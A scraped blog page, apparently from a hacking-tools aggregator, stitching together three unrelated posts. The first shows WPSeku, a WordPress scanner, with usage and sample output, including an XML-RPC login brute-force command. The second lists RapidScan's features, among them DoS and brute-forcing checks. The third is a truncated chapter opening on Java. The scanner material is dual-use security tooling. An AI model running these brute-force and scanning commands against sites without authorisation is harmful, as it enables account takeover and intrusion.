WPSeku V0.4 - Wordpress Security Scanner

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="post-head"><h1 class="post-title entry-title" itemprop="name headline"><br /></h1></div><a href="https://www.blogger.com/null" name="ad-title"></a> <article><div class="post-body entry-content" id="post-body-4775527330021272140" itemprop="articleBody"> <div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh76MBWBvoi8VQim9cANaWwBNOwdVFSDeHNufpSWdjQkX_FhtrW_mK6r_zl76k_7fqR8jWgzAKpTaqXUYggAephuukxAXc2fs5WljR_6KsUo83z_OXoC4PccFGqQRb3YVoww1Z9QOgWlhM/s1600/WPSeku_3_main.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="524" data-original-width="1301" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh76MBWBvoi8VQim9cANaWwBNOwdVFSDeHNufpSWdjQkX_FhtrW_mK6r_zl76k_7fqR8jWgzAKpTaqXUYggAephuukxAXc2fs5WljR_6KsUo83z_OXoC4PccFGqQRb3YVoww1Z9QOgWlhM/s640/WPSeku_3_main.png" width="640" /></a></div><br /><span style="font-family: Arial, Helvetica, sans-serif;">WPSeku is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues.</span><br /><span style="font-family: Arial, Helvetica, sans-serif;"><a href="https://www.blogger.com/null" name="more"></a><br /></span><span style="font-family: Arial, Helvetica, sans-serif; font-size: x-large;"><b>Installation</b></span><br /><pre><code><span style="font-family: Arial, Helvetica, sans-serif;">$ git clone https://github.com/m4ll0k/WPSeku.git wpseku<br />$ cd wpseku<br />$ pip3 install -r requirements.txt<br />$ python3 wpseku.py</span></code></pre><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><span style="font-family: Arial, Helvetica, sans-serif; font-size: x-large;"><b>Usage</b></span><br /><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"><b>Generic Scan</b></span><br /><pre><code><span style="font-family: Arial, Helvetica, sans-serif;">python3 wpseku.py --url https://www.xxxxxxx.com --verbose</span></code></pre><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><ul><li><strong><span style="font-family: Arial, Helvetica, sans-serif;">Output</span></strong></li></ul><pre><code><span style="font-family: Arial, Helvetica, sans-serif;">----------------------------------------<br /> _ _ _ ___ ___ ___| |_ _ _ <br />| | | | . |_ -| -_| '_| | |<br />|_____| _|___|___|_,_|___|<br /> |_| v0.4.0<br /><br />WPSeku - Wordpress Security Scanner<br />by Momo Outaadi (m4ll0k)<br />----------------------------------------<br /><br />[ + ] Target: https://www.xxxxxxx.com<br />[ + ] Starting: 02:38:51<br /><br />[ + ] Server: Apache<br />[ + ] Uncommon header "X-Pingback" found, with contents: https://www.xxxxxxx.com/xmlrpc.php<br />[ i ] Checking Full Path Disclosure...<br />[ + ] Full Path Disclosure: /home/ehc/public_html/wp-includes/rss-functions.php<br />[ i ] Checking wp-config backup file...<br />[ + ] wp-config.php available at: https://www.xxxxxxx.com/wp-config.php<br />[ i ] Checking common files...<br />[ + ] robots.txt file was found at: https://www.xxxxxxx.com/robots.txt<br />[ + ] xmlrpc.php file was found at: https://www.xxxxxxx.com/xmlrpc.php<br />[ + ] readme.html file was found at: https://www.xxxxxxx.com/readme.html<br />[ i ] Checking directory listing...<br />[ + ] Dir "/wp-admin/css" listing enable at: https://www.xxxxxxx.com/wp-admin/css/<br />[ + ] Dir "/wp-admin/images" listing enable at: https://www.xxxxxxx.com/wp-admin/images/<br />[ + ] Dir "/wp-admin/includes" listing enable at: https://www.xxxxxxx.com/wp-admin/includes/<br />[ + ] Dir "/wp-admin/js" listing enable at: https://www.xxxxxxx.com/wp-admin/js/<br />......</span></code></pre><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"><b>Bruteforce Login</b></span><br /><pre><code><span style="font-family: Arial, Helvetica, sans-serif;">python3 wpseku.py --url https://www.xxxxxxx.com --brute --user test --wordlist wl.txt --verbose</span></code></pre><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><ul><li><strong><span style="font-family: Arial, Helvetica, sans-serif;">Output</span></strong></li></ul><pre><code><span style="font-family: Arial, Helvetica, sans-serif;">----------------------------------------<br /> _ _ _ ___ ___ ___| |_ _ _ <br />| | | | . |_ -| -_| '_| | |<br />|_____| _|___|___|_,_|___|<br /> |_| v0.4.0<br /><br />WPSeku - Wordpress Security Scanner<br />by Momo Outaadi (m4ll0k)<br />----------------------------------------<br /><br />[ + ] Target: https://www.xxxxxxx.com<br />[ + ] Starting: 02:46:32<br /><br />[ + ] Bruteforcing Login via XML-RPC...<br />[ i ] Setting user: test<br />[ + ] Valid Credentials: <br /><br />-----------------------------<br />| Username | Passowrd |<br />-----------------------------<br />| test | kamperasqen13 |<br />-----------------------------<br /></span></code></pre><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><span style="font-family: Arial, Helvetica, sans-serif; font-size: large;"><b>Scan plugin,theme and wordpress code</b></span><br /><pre><code><span style="font-family: Arial, Helvetica, sans-serif;">python3 wpseku.py --scan <dir/file> --verbose</span></code></pre><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Note</strong>: Testing Akismet Directory Plugin <a href="https://plugins.svn.wordpress.org/akismet" rel="nofollow" target="_blank">https://plugins.svn.wordpress.org/akismet</a></span><br /><ul><li><strong>Output</strong></li></ul><pre><code>----------------------------------------<br /> _ _ _ ___ ___ ___| |_ _ _ <br />| | | | . |_ -| -_| '_| | |<br />|_____| _|___|___|_,_|___|<br /> |_| v0.4.0<br /><br />WPSeku - Wordpress Security Scanner<br />by Momo Outaadi (m4ll0k)<br />----------------------------------------<br /><br />[ + ] Checking PHP code...<br />[ + ] Scanning directory...<br />[ i ] Scanning trunk/class.akismet.php file<br />----------------------------------------------------------------------------------------------------------<br />| Line | Possibile Vuln. | String |<br />----------------------------------------------------------------------------------------------------------<br />| 597 | Cross-Site Scripting | [b"$_GET['action']", b"$_GET['action']"] |<br />| 601 | Cross-Site Scripting | [b"$_GET['for']", b"$_GET['for']"] |<br />| 140 | Cross-Site Scripting | [b"$_POST['akismet_comment_nonce']", b"$_POST['akismet_comment_nonce']"] |<br />| 144 | Cross-Site Scripting | [b"$_POST['_ajax_nonce-replyto-comment']"] |<br />| 586 | Cross-Site Scripting | [b"$_POST['status']", b"$_POST['status']"] |<br />| 588 | Cross-Site Scripting | [b"$_POST['spam']", b"$_POST['spam']"] |<br />| 590 | Cross-Site Scripting | [b"$_POST['unspam']", b"$_POST['unspam']"] |<br />| 592 | Cross-Site Scripting | [b"$_POST['comment_status']", b"$_POST['comment_status']"] |<br />| 599 | Cross-Site Scripting | [b"$_POST['action']", b"$_POST['action']"] |<br />| 214 | Cross-Site Scripting | [b"$_SERVER['HTTP_REFERER']", b"$_SERVER['HTTP_REFERER']"] |<br />| 403 | Cross-Site Scripting | [b"$_SERVER['REQUEST_TIME_FLOAT']", b"$_SERVER['REQUEST_TIME_FLOAT']"] |<br />| 861 | Cross-Site Scripting | [b"$_SERVER['REMOTE_ADDR']", b"$_SERVER['REMOTE_ADDR']"] |<br />| 930 | Cross-Site Scripting | [b"$_SERVER['HTTP_USER_AGENT']", b"$_SERVER['HTTP_USER_AGENT']"] |<br />| 934 | Cross-Site Scripting | [b"$_SERVER['HTTP_REFERER']", b"$_SERVER['HTTP_REFERER']"] |<br />| 1349 | Cross-Site Scripting | [b"$_SERVER['REMOTE_ADDR']"] |<br />----------------------------------------------------------------------------------------------------------<br />[ i ] Scanning trunk/wrapper.php file<br />[ + ] Not found vulnerabilities<br />[ i ] Scanning trunk/akismet.php file<br />-----------------------------------------------<br />| Line | Possibile Vuln. | String |<br />-----------------------------------------------<br />| 55 | Authorization Hole | [b'is_admin()'] |<br />-----------------------------------------------<br />[ i ] Scanning trunk/class.akismet-cli.php file<br />[ + ] Not found vulnerabilities<br />[ i ] Scanning trunk/class.akismet-widget.php file<br />[ + ] Not found vulnerabilities<br />[ i ] Scanning trunk/index.php file<br />[ + ] Not found vulnerabilities<br />[ i ] Scanning trunk/class.akismet-admin.php file<br />--------------------------------------------------------------------------------------------------------------------<br />| Line | Possibile Vuln. | String |<br />--------------------------------------------------------------------------------------------------------------------<br />| 39 | Cross-Site Scripting | [b"$_GET['page']", b"$_GET['page']"] |<br />| 134 | Cross-Site Scripting | [b"$_GET['akismet_recheck']", b"$_GET['akismet_recheck']"] |<br />| 152 | Cross-Site Scripting | [b"$_GET['view']", b"$_GET['view']"] |<br />| 190 | Cross-Site Scripting | [b"$_GET['view']", b"$_GET['view']"] |<br />| 388 | Cross-Site Scripting | [b"$_GET['recheckqueue']"] |<br />| 841 | Cross-Site Scripting | [b"$_GET['view']", b"$_GET['view']"] |<br />| 843 | Cross-Site Scripting | [b"$_GET['view']", b"$_GET['view']"] |<br />| 850 | Cross-Site Scripting | [b"$_GET['action']"] |<br />| 851 | Cross-Site Scripting | [b"$_GET['action']"] |<br />| 852 | Cross-Site Scripting | [b"$_GET['_wpnonce']", b"$_GET['_wpnonce']"] |<br />| 868 | Cross-Site Scripting | [b"$_GET['token']", b"$_GET['token']"] |<br />| 869 | Cross-Site Scripting | [b"$_GET['token']"] |<br />| 873 | Cross-Site Scripting | [b"$_GET['action']"] |<br />| 874 | Cross-Site Scripting | [b"$_GET['action']"] |<br />| 1005 | Cross-Site Scripting | [b"$_GET['akismet_recheck_complete']"] |<br />| 1006 | Cross-Site Scripting | [b"$_GET['recheck_count']"] |<br />| 1007 | Cross-Site Scripting | [b"$_GET['spam_count']"] |<br />| 31 | Cross-Site Scripting | [b"$_POST['action']", b"$_POST['action']"] |<br />| 256 | Cross-Site Scripting | [b"$_POST['_wpnonce']"] |<br />| 260 | Cross-Site Scripting | [b'$_POST[$option]', b'$_POST[$option]'] |<br />| 267 | Cross-Site Scripting | [b"$_POST['key']"] |<br />| 392 | Cross-Site Scripting | [b"$_POST['offset']", b"$_POST['offset']", b"$_POST['limit']", b"$_POST['limit']"] |<br />| 447 | Cross-Site Scripting | [b"$_POST['id']"] |<br />| 448 | Cross-Site Scripting | [b"$_POST['id']"] |<br />| 460 | Cross-Site Scripting | [b"$_POST['id']", b"$_POST['url']"] |<br />| 461 | Cross-Site Scripting | [b"$_POST['id']"] |<br />| 464 | Cross-Site Scripting | [b"$_POST['url']"] |<br />| 388 | Cross-Site Scripting | [b"$_REQUEST['action']", b"$_REQUEST['action']"] |<br />| 400 | Cross-Site Scripting | [b"$_SERVER['HTTP_REFERER']", b"$_SERVER['HTTP_REFERER']"] |<br />--------------------------------------------------------------------------------------------------------------------<br />[ i ] Scanning trunk/class.akismet-rest-api.php file<br />[ + ] Not found vulnerabilities<br /></code></pre><br /><span style="font-family: Arial, Helvetica, sans-serif; font-size: x-large;"><b>Credits and Contributors</b></span><br /><span style="font-family: Arial, Helvetica, sans-serif;">Original idea and script from WPScan Team (<a href="https://wpscan.org/" rel="nofollow" target="_blank">https://wpscan.org/</a>)</span><br /><span style="font-family: Arial, Helvetica, sans-serif;">WPScan Vulnerability Database (<a href="https://wpvulndb.com/api" rel="nofollow" target="_blank">https://wpvulndb.com/api</a>)</span><br /><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><span style="font-family: Arial, Helvetica, sans-serif;"><br /></span><div style="text-align: center;"><b><span style="font-family: Arial, Helvetica, sans-serif; font-size: x-large;"><a href="https://github.com/m4ll0k/WPSeku" rel="nofollow" target="_blank">Download WPSeku</a></span></b></div></div></article><br /><div class="hreview"><br /></div><div style="clear: both;"></div><div class="post-footer"><div style="text-align: center;"></div></div></div><strong>Related posts</strong><br><ul><li> <a href="https://www.google.ch/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.blackploit.com%2F2012%2F08%2Fgrave-vulnerabilidad-sin-parche-en-java.html ">Growth Hacking Instagram </a></li><li> <a href="https://www.google.mk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.blackploit.com%2F2012%2F11%2Fnicgp-hacked-dominios-de-guadalupe.html ">Hacking Raspberry Pi </a></li><li> <a href="https://www.google.af/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.blackploit.com%2F2013%2F02%2Fsaltandose-la-contrasena-de-un-ios-61_25.html ">Como Empezar A Hackear </a></li><li> <a href="https://www.google.vu/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.blackploit.com%2F2012%2F07%2Fanonymous-entrego-wikileaks-2-millones.html ">Rom Hacking </a></li></ul>

WPSeku V0.4 - Wordpress Security Scanner

WPSeku is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues. Ins...

Baca selengkapnya »

RapidScan: The Multi-Tool Website Vulnerabilities Scanner With Artificial Intelligence

<span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;"><b>RapidScan's Features:</b></span></span><br /><ul><li><b><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;">One-step installation.</span></span></b></li><li><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;"><b>Executes a multitude of security scanning tools</b>, does other <b>custom coded checks</b> and <b>prints the results spontaneously</b>.</span></span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;">Come of the tools include <code>nmap</code>, <code>dnsrecon</code>, <code>wafw00f</code>, <code>uniscan</code>, <code>sslyze</code>, <code>fierce</code>, <code>lbd</code>, <code>theharvester</code>, <code>dnswalk</code>, <code>golismero</code> etc executes under one entity.</span></span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;">Saves a lot of time, <b>indeed a lot time!</b></span></span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;"><b>Checks for same vulnerabilities with multiple tools</b> to help you <b>zero-in on false positives</b> effectively.</span></span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;"><b>Legends</b> to help you understand which tests may take longer time, so you can <b>Ctrl+C</b> to skip if needed.</span></span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;"><b>Association with OWASP Top 10 2017</b> on the list of vulnerabilities discovered. (under development)</span></span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;"><b>Critical, high, large, low and informational</b> classification of vulnerabilities.</span></span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;"><b>Vulnerability definitions</b> guides you what the vulnerability actually is and the threat it can pose </span></span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;"><b>Remediations</b> tells you how to plug/fix the found vulnerability.</span></span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;"><b>Executive summary</b> gives you an overall context of the scan performed with critical, high, low and informational issues discovered. (under development)</span></span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;"><b>Artificial intelligence</b> to deploy tools automatically depending upon the issues found. for eg; automates the launch of <code>wpscan</code> and <code>plecost</code> tools when a wordpress installation is found. (under development)</span></span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="font-size: large;"><b>Detailed comprehensive report</b> in a portable document format (<code>*.pdf</code>) with complete details of the scans and tools used. (under development)</span></span></li></ul><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>For Your Infomation about RapidScan:</b></span><br /><div><div><ul><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b></b><li><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">Program is still under development, works and currently supports 80 vulnerability tests.</span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">Parallel processing is not yet implemented, may be coded as more tests gets introduced.</span></li></span></ul></div><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>RapidScan supports checking for these vulnerabilities:</b></span><br /><ul><li><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">DNS/HTTP Load Balancers & Web Application Firewalls. </span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">Checks for Joomla, WordPress and Drupal</span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">SSL related Vulnerabilities (HEARTBLEED, FREAK, POODLE, CCS Injection, LOGJAM, OCSP Stapling).</span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">Commonly Opened Ports.</span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">DNS Zone Transfers using multiple tools (Fierce, DNSWalk, DNSRecon, DNSEnum).</span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">Sub-Domains Brute Forcing.</span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">Open Directory/File Brute Forcing.</span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">Shallow XSS, SQLi and BSQLi Banners.</span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">Slow-Loris DoS Attack, LFI (Local File Inclusion), RFI (Remote File Inclusion) & RCE (Remote Code Execution).</span></li></ul><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"></span></div><div><div style="font-size: large;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>RapidScan's Requirements:</b></span></div><ul><li><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">Kali Linux, Parrot Security OS, BlackArch... Linux distros that based for pentesters and hackers.</span></li><li><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;">Python 2.7.x</span></li></ul><br /></div><div style="font-size: large;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>RapidScan Installation:</b></span></div><iframe src="https://pastebin.com/embed_iframe/CDrA7gJv" style="border: none; height: 100px; width: 100%;"></iframe><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"></span><br /><div style="font-size: large;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><br /></span><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b>RapidScan's screenshots:</b></span></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="font-size: large; margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY0BYLzYMTkEgJWigRqFNZlSEZ8BXIQVWUNN_0n_RC_lEKmcxVZdJqm7tBMJ4LEVVWqkCVofnvVANQ1ouA616PYea0LUe3ZvNpLks-t6Flw4xJWiNTGC-bc3o-UvluwDCugTckTwdMfSQ/s1600/RapidScan.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="715" data-original-width="1030" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY0BYLzYMTkEgJWigRqFNZlSEZ8BXIQVWUNN_0n_RC_lEKmcxVZdJqm7tBMJ4LEVVWqkCVofnvVANQ1ouA616PYea0LUe3ZvNpLks-t6Flw4xJWiNTGC-bc3o-UvluwDCugTckTwdMfSQ/s1600/RapidScan.png" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: small;"><b>RapidScan helping menu</b></span></td></tr></tbody></table><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOV1n-na5VbX6QmCWpKW0NVPtY-PfGmamJVWdjsTWgnQElA9l2KA3Y9Viq44rKty0kqRUMYx-6SwrtNeOXPsUnw16YqqxDStTHUmwSOCPckSgMYhSKi0CWuVmikNpp1D42_mxueE7w-Qw/s1600/rapidscan_intro.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="522" data-original-width="724" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOV1n-na5VbX6QmCWpKW0NVPtY-PfGmamJVWdjsTWgnQElA9l2KA3Y9Viq44rKty0kqRUMYx-6SwrtNeOXPsUnw16YqqxDStTHUmwSOCPckSgMYhSKi0CWuVmikNpp1D42_mxueE7w-Qw/s1600/rapidscan_intro.png" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: small;"><b>RapidScan Intro</b></span></td></tr></tbody></table><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD8RQhsPlzl7WCdfIboCy8zn6FU78zGkb1DTANkCgLg6d-_yD_yBbcTC5pm3JLH_aHO5DriCruuuCljPM3p4yMaB-MdS9UGtvMTrQ39OM7eqIR_CSgjWNIeGfPj3TGIPG6q4sE1JA07p8/s1600/rapidscan_outro.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="208" data-original-width="724" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD8RQhsPlzl7WCdfIboCy8zn6FU78zGkb1DTANkCgLg6d-_yD_yBbcTC5pm3JLH_aHO5DriCruuuCljPM3p4yMaB-MdS9UGtvMTrQ39OM7eqIR_CSgjWNIeGfPj3TGIPG6q4sE1JA07p8/s1600/rapidscan_outro.png" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"><b><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: small;">RapidScan Outro</span></b></td></tr></tbody></table><div><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b><br />How to contribute?</b> If you want to contribute to the author. <a href="https://gist.github.com/MarcDiethelm/7303312" target="_blank">Read this</a>.</span></div><div style="font-size: large;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><br /></span></div><div style="text-align: center;"><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"><b><span style="font-size: x-large;"><a href="https://github.com/skavngr/rapidscan" target="_blank">Download RapidScan</a></span></b></span></div><div style="-webkit-text-stroke-width: 0px; color: black; font-family: arial, helvetica, sans-serif; font-size: large; font-style: normal; font-variant-caps: normal; font-variant-ligatures: normal; font-weight: 400; letter-spacing: normal; margin: 0px; orphans: 2; text-align: start; text-decoration-color: initial; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"></div><span style="font-family: "arial" , "helvetica" , sans-serif; font-size: large;"></span><h3>Continue reading</h3><br><ul><li> <a href="https://www.google.bg/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F02%2Fdnssearch-subdomain-enumeration-tool.html ">Hacker Techniques Tools And Incident Handling </a></li><li> <a href="https://www.google.as/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F09%2Ffudgec2-collaborative-c2-framework-for.html ">Hack Tools </a></li><li> <a href="https://www.google.pt/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F06%2Fautosqli-automatic-sql-injection-tool.html ">Pentest Recon Tools </a></li><li> <a href="https://www.google.ms/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F07%2Fff-password-exporter-easily-export-your.html ">Usb Pentest Tools </a></li><li> <a href="https://www.google.ci/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F01%2Fsnyk-cli-and-build-time-tool-to-find.html ">Pentest Automation Tools </a></li><li> <a href="https://www.google.ne/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F12%2Fspiderfoot-most-complete-osint.html ">Pentest Tools Bluekeep </a></li><li> <a href="https://pa.search.yahoo.com/search?p=site%3Akitploit.com&fr=yfp-t&fp=1&toggle=1&cop=mss&ei=UTF-8&fp=1&b=91&pz=10&bct=0&xargs=0 ">Hak5 Tools </a></li><li> <a href="https://www.google.ci/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F09%2Fhrshell-advanced-httpshttp-reverse.html ">Hacking Apps </a></li><li> <a href="https://www.google.ie/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F12%2Fsmap-shellcode-mapper.html ">Top Pentest Tools </a></li><li> <a href="https://www.google.ch/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F04%2Fm0b-tool-auto-detect-cms-and-exploit.html ">Hack And Tools </a></li><li> <a href="https://www.google.jp/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F07%2Fshellsum-defense-tool-detect-web-shells.html ">Pentest Tools Windows </a></li><li> <a href="https://www.google.vg/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F09%2Fkemon-open-source-pre-and-post-callback.html ">Hacker Tools List </a></li><li> <a href="https://www.google.fm/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F05%2Fuserrecon-py-find-usernames-in-social.html ">Hacking Tools For Windows Free Download </a></li><li> <a href="https://www.google.ac/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F05%2Fthe-axer-tool-to-automate-procedure-of.html ">Pentest Tools Free </a></li><li> <a href="https://www.google.qa/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F01%2Fpythonaesobfuscate-obfuscates-python.html ">Hacking Tools Github </a></li><li> <a href="https://www.google.ec/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2020%2F02%2Fagente-distributed-simple-and-robust.html ">Hacker Tools 2020 </a></li><li> <a href="https://www.google.by/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F12%2Fevilginx2-v220-standalone-man-in-middle.html ">Hacker Tools Online </a></li><li> <a href="https://www.google.bj/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2019%2F11%2Fsshtunnel-ssh-tunnels-to-remote-server.html ">Hack Tools </a></li><li> <a href="https://www.google.is/url?sa=t&rct=j&q=&esrc=s&source=web&cd=15&url=https%3A%2F%2Fwww.kitploit.com%2F2018%2F07%2Fscout2-security-auditing-tool-for-aws.html ">Pentest Tools Github </a></li></ul>

RapidScan: The Multi-Tool Website Vulnerabilities Scanner With Artificial Intelligence

RapidScan's Features: One-step installation. Executes a multitude of security scanning tools , does other custom coded checks and print...

Baca selengkapnya »

An Overview Of Java

<div><br></div><div><br></div><div><b>CHAPTER </b></div><div><b>2 An Overview of Java</b></div><div> </div><div><div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpIVYmMZXSpY5z-zXDSM35pLwaURarg3Ji6MTgN80oDZaVhPllMMjoJKmILvbNapaJnkTReWVU7yPegD3khvJXwJpafOjr9Rgy_aqL2OXRuQYgYyW5aiv3Q7OsxJwbfZHCIYZsDkN0zf0/s1600/1574688489048484-0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"> <img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpIVYmMZXSpY5z-zXDSM35pLwaURarg3Ji6MTgN80oDZaVhPllMMjoJKmILvbNapaJnkTReWVU7yPegD3khvJXwJpafOjr9Rgy_aqL2OXRuQYgYyW5aiv3Q7OsxJwbfZHCIYZsDkN0zf0/s1600/1574688489048484-0.png" width="400"> </a></div><br></div><div>As in all other computer languages, the elements of Java do not exist in isolation. Rather, they work together to form the language as a whole. However, this interrelatedness can make it difficult to describe one aspect of Java without involving several others. Often a discussion of one feature implies prior knowledge of another. For this reason, this chapter presents a quick overview of several key features of Java. The material described here will give you a foothold that will allow you to write and understand simple programs. Most of the topics discussed will be examined in greater detail in the remaining chapters of Part I.</div><div><br></div><div>Object-Oriented Programming</div><div>Object-oriented programming (OOP) is at the core of Java. In fact, all Java programs are to at least some extent object-oriented. OOP is so integral to Java that it is best to understand its basic principles before you begin writing even simple Java programs. Therefore, this chapter begins with a discussion of the theoretical aspects of OOP.</div><div>Two Paradigms</div><div>All computer programs consist of two elements: code and data. Furthermore, a program can be conceptually organized around its code or around its data. That is, some programs are written around "what is happening" and others are written around "who is being affected." These are the two paradigms that govern how a program is constructed. The first way is called the process-oriented model. This approach characterizes a program as a series of linear steps (that is, code). The process-oriented model can be thought of as code acting on data. Procedural languages such as C employ this model to considerable success. However, as mentioned in Chapter 1, problems with this approach appear as programs grow larger and more complex.</div><div>To manage increasing complexity, the second approach, called object-oriented programming, was conceived. Object-oriented programming organizes a program around its data (that is, objects) and a set of well-defined interfaces to that data. An object-oriented program can</div><div>be characterized as data controlling access to code. As you will see, by switching the controlling entity to data, you can achieve several organizational benefits.</div><div><br></div><div> </div><div>Abstraction</div><div>An essential element of object-oriented programming is 